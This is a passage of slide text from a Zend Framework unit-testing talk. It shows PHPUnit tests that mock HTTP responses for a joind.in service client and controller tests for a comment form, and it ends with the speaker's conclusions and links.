Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetailsFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <ID>19</ID>- <last_login>1303248639</last_login>+ <last_login>1303250271</last_login> </item> </response>
I recently logged in ✔
![Page 80: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/80.jpg)
Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetailsFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <ID>19</ID>- <last_login>1303248639</last_login>+ <last_login>1303250271</last_login> </item> </response>
I recently logged in ✔
![Page 81: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/81.jpg)
And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatusFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <?xml version="1.0"?> <response>- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response>
Latency of the network 1s ☹
![Page 82: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/82.jpg)
And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatusFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <?xml version="1.0"?> <response>- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response>
Latency of the network 1s ☹
![Page 83: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/83.jpg)
Solution… right here!
![Page 84: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/84.jpg)
Your expectations
![Page 85: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/85.jpg)
JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}
![Page 86: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/86.jpg)
JoindinUserMockTestpublic function testJoindinCanGetUserDetails(){ $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml
<?xml version="1.0"?><response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item></response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}
![Page 87: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/87.jpg)
JoindinStatusMockTestpublic function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml
<?xml version="1.0"?><response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string></response> EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual);}
![Page 88: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/88.jpg)
Good implementation?
![Page 89: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/89.jpg)
Controller Testing
![Page 90: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/90.jpg)
Our form flow
![Page 91: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/91.jpg)
Setting up ControllerTest<?php
class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase{
public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); }}
![Page 92: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/92.jpg)
Testing if form is on pagepublic function testIndexAction(){ $params = array( 'action' => 'index', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains( 'h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1);}
![Page 93: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/93.jpg)
Test processingpublic function testProcessAction(){ $testData = array ( 'name' => 'testUser', 'mail' => '[email protected]', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']);}
![Page 94: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/94.jpg)
REMARK
• data providers can be used- to test valid data- to test invalid data
• but we know it’s taken care of our model- just checking for error messages in form
![Page 95: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/95.jpg)
Test if we hit homepublic function testSuccessAction(){ $params = array( 'action' => 'success', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/');}
![Page 96: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/96.jpg)
Running the tests
![Page 97: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/97.jpg)
Testing it all
![Page 98: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/98.jpg)
Testing it all
![Page 99: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/99.jpg)
Our progress report
![Page 100: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/100.jpg)
Conclusion
![Page 101: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/101.jpg)
• unit testing is simple• combine integration tests with unit tests• test what counts• mock out what’s remote
![Page 102: Unit testing with zend framework tek11](https://reader033.vdocuments.us/reader033/viewer/2022051110/54c93e184a795918448b456f/html5/thumbnails/102.jpg)
Thank you
• source code: http://github.com/DragonBe/zftest
• your rating:http://joind.in/3434
• follow me:- twitter: @DragonBe- facebook: DragonBe
Please use joind.in for feedback